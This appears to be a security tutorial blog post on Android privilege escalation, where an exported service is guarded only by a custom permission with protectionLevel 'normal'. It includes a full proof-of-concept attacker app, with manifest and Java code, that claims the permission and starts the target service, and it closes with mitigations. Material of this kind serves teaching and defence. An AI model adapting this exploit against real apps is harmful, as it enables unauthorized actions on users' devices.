Android Hacking, Sandboxing, & Security Exploits

Privilege Escalation in Android: Bypassing Insecure Authorization Logic Step-by-Step

Google AdSense Native Placement - Horizontal Top-Post banner

Introduction to Android Privilege Escalation and Insecure Authorization

Privilege escalation on Android refers to a scenario where an attacker gains higher permissions or capabilities than they are initially allowed, often by exploiting vulnerabilities within an application or the operating system itself. While Android’s sandbox model is robust, misconfigurations in application development can inadvertently create pathways for such attacks. One of the most common vectors for privilege escalation is through insecure authorization logic, a significant concern highlighted in the OWASP Mobile Top 10 under category M4: Insecure Authorization.

Insecure authorization typically arises when an application fails to properly verify that a user or another application is permitted to perform a specific action or access a particular resource. This can manifest in various ways, from lax permission checks on exported components to improper implementation of custom permissions, allowing malicious applications to invoke sensitive functionalities without legitimate consent.

Understanding Android’s Security Model and Permissions

The Role of `AndroidManifest.xml`

The AndroidManifest.xml file is the cornerstone of an Android application’s structure and security configuration. It declares all application components (Activities, Services, Broadcast Receivers, Content Providers), their capabilities, and crucial security attributes. For inter-component communication (IPC), components can be explicitly exported using android:exported="true". When a component is exported, other applications can directly interact with it. To prevent unauthorized access to these exported components, developers can protect them using Android’s permission system via the android:permission attribute.

Custom Permissions and `protectionLevel`

Android offers built-in permissions (e.g., android.permission.INTERNET), but developers can also define custom permissions specific to their application’s needs. These custom permissions are declared using the <permission> tag within the AndroidManifest.xml, and their behavior is heavily influenced by the android:protectionLevel attribute. Understanding these levels is critical:

  • normal: Low-risk permissions. The system automatically grants these permissions to any requesting app at install time. This is the root of many insecure authorization vulnerabilities.
  • dangerous: High-risk permissions (e.g., accessing contacts or camera). Users must explicitly grant these at runtime.
  • signature: The system grants this permission only if the requesting app is signed with the same certificate as the app that declared the permission. This is generally the most secure option for protecting inter-app communication.
  • signatureOrSystem: Similar to signature, but also granted to apps residing in the system image.

The pitfall lies when a sensitive, exported component is protected by a custom permission defined with android:protectionLevel="normal". Because a normal permission is automatically granted to any app that requests it, declaring such a permission effectively offers no protection, leading directly to a bypass.

The Vulnerability: Misconfigured Custom Permissions (M4)

An application is vulnerable to insecure authorization (OWASP M4) if it exposes sensitive functionality via an exported component (e.g., a Service or Broadcast Receiver) and attempts to protect this component with a custom permission declared with android:protectionLevel="normal". A malicious application can simply declare that it uses this permission in its own AndroidManifest.xml, and the Android system will automatically grant it upon installation. With the permission granted, the malicious app can then freely invoke the protected, sensitive component, leading to privilege escalation or unauthorized actions.

Step-by-Step Exploitation Scenario

Let’s walk through a practical exploitation scenario.

Target Application Analysis

Assume we have decompiled a target application’s APK and are inspecting its AndroidManifest.xml. We discover a service that performs a sensitive operation (e.g., clearing cached data, resetting settings) and is exported, but protected by a `normal` level permission:

<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.example.targetapp">

<!-- Vulnerable Custom Permission -->
<permission
android:name="com.example.targetapp.PRIVILEGED_ACTION"
android:protectionLevel="normal"
android:label="Access privileged action"
android:description="Allows access to sensitive functions" />

<application
android:allowBackup="true"
android:icon="@mipmap/ic_launcher"
android:label="@string/app_name"
android:roundIcon="@mipmap/ic_launcher_round"
android:supportsRtl="true"
android:theme="@style/AppTheme">

<!-- Exported and weakly protected Service -->
<service
android:name=".PrivilegedService"
android:enabled="true"
android:exported="true"
android:permission="com.example.targetapp.PRIVILEGED_ACTION" />

<activity android:name=".MainActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
</application>
</manifest>

From this manifest, we identify two key points:

  1. A custom permission com.example.targetapp.PRIVILEGED_ACTION is defined with android:protectionLevel="normal".
  2. A service com.example.targetapp.PrivilegedService is exported (android:exported="true") and protected by this `normal` permission.

This configuration is a classic example of an insecure authorization bypass vulnerability.

Crafting the Malicious Application

Now, we’ll create a simple Android application (com.evil.attacker) that aims to exploit this vulnerability. The malicious app needs to do two things:

  1. Declare that it `uses` the target app’s custom permission in its own `AndroidManifest.xml`.
  2. Programmatically send an `Intent` to invoke the target app’s `PrivilegedService`.

Malicious App’s `AndroidManifest.xml` (e.g., `com.evil.attacker`):

<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.evil.attacker">

<!-- Request the vulnerable permission -->
<uses-permission android:name="com.example.targetapp.PRIVILEGED_ACTION" />

<application
android:allowBackup="true"
android:icon="@mipmap/ic_launcher"
android:label="@string/app_name"
android:roundIcon="@mipmap/ic_launcher_round"
android:supportsRtl="true"
android:theme="@style/AppTheme">
<activity android:name=".MainActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
</application>
</manifest>

By simply adding the <uses-permission> tag, the Android system will automatically grant this `normal` level permission to our malicious app upon installation, thereby bypassing any intended protection.

Malicious App’s `MainActivity.java` (invoking the service):

package com.evil.attacker;

import android.content.Intent;
import android.os.Bundle;
import androidx.appcompat.app.AppCompatActivity;
import android.widget.Button;
import android.util.Log;
import android.widget.Toast;

public class MainActivity extends AppCompatActivity {
private static final String TAG = "EvilApp";

@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);

Button exploitButton = findViewById(R.id.exploit_button);
exploitButton.setOnClickListener(v -> {
Log.d(TAG, "Attempting to exploit vulnerable service...");
try {
Intent intent = new Intent();
intent.setClassName("com.example.targetapp", "com.example.targetapp.PrivilegedService");
// Optionally add data if the service expects it, e.g.,
// intent.putExtra("command", "delete_sensitive_data");
startService(intent);
Log.d(TAG, "Exploit intent sent successfully to PrivilegedService!");
Toast.makeText(this, "Exploit sent! Check logs.", Toast.LENGTH_LONG).show();
} catch (SecurityException e) { // This catch block should ideally not be hit due to normal protectionLevel
Log.e(TAG, "SecurityException: " + e.getMessage());
Toast.makeText(this, "SecurityException caught: " + e.getMessage(), Toast.LENGTH_LONG).show();
} catch (Exception e) {
Log.e(TAG, "General Exception: " + e.getMessage());
Toast.makeText(this, "Error: " + e.getMessage(), Toast.LENGTH_LONG).show();
}
});
}
}

Execution and Verification

To execute the attack:

  1. Install both the target application and our malicious application on an Android device or emulator.
  2. adb install targetapp.apk
    adb install evilattacker.apk
  3. Launch the malicious application.
  4. Click the button that triggers the exploit.
  5. Monitor the device logs using `adb logcat` to observe the interaction and confirm that the `PrivilegedService` in the target application was successfully invoked by our malicious app.
adb logcat | grep "TargetApp"

If the `PrivilegedService` logs show that it was started and performed its sensitive action, the privilege escalation was successful. The malicious app, despite having no legitimate authority, was able to bypass the insecure authorization logic.

Mitigation Strategies

Preventing such privilege escalation requires careful attention to Android’s security model:

Correct `protectionLevel` for Custom Permissions

For any custom permission protecting sensitive components, always use `android:protectionLevel=”signature”` or `signatureOrSystem`. This ensures that only applications signed with the same developer certificate can obtain the permission, providing strong cryptographic protection.

<permission
android:name="com.example.targetapp.PRIVILEGED_ACTION"
android:protectionLevel="signature"
android:label="Access privileged action"
android:description="Allows access to sensitive functions" />

Avoid Exporting Sensitive Components

If a component is not intended for interaction with other applications, explicitly set `android:exported=”false”`. This is the default for components declared without intent filters since API level 31, but it’s good practice to be explicit for all sensitive components.

Runtime Authorization Checks

Even with properly configured permissions, it’s a good practice to implement additional programmatic authorization checks within the component’s code. Use methods like `checkCallingOrSelfPermission()` or `checkCallingPermission()` to verify the caller’s permissions before performing sensitive operations.

Input Validation

Always validate any data or parameters received via IPC calls. Malicious input can lead to other vulnerabilities like SQL injection or arbitrary code execution, even if authorization is handled correctly.

Conclusion

Insecure authorization logic, especially through misconfigured custom permissions, represents a critical vulnerability in Android applications, directly linked to OWASP Mobile Top 10 (M4). As demonstrated, a seemingly minor oversight in setting the `protectionLevel` can completely undermine an app’s security, allowing malicious applications to achieve privilege escalation and perform unauthorized actions. Developers must meticulously review their `AndroidManifest.xml` configurations and consistently apply the principle of least privilege, ensuring that sensitive components are adequately protected, or not exported at all, to safeguard user data and application integrity.

Android Mobile Specs & Compare Directory

Are you researching mobile hardware properties, processor SoCs, GPU chipsets, or RAM configurations? Access our complete specs catalog to compare up to 5 devices side-by-side!

Compare Devices Specs →
Google AdSense Inline Placement - Content Footer banner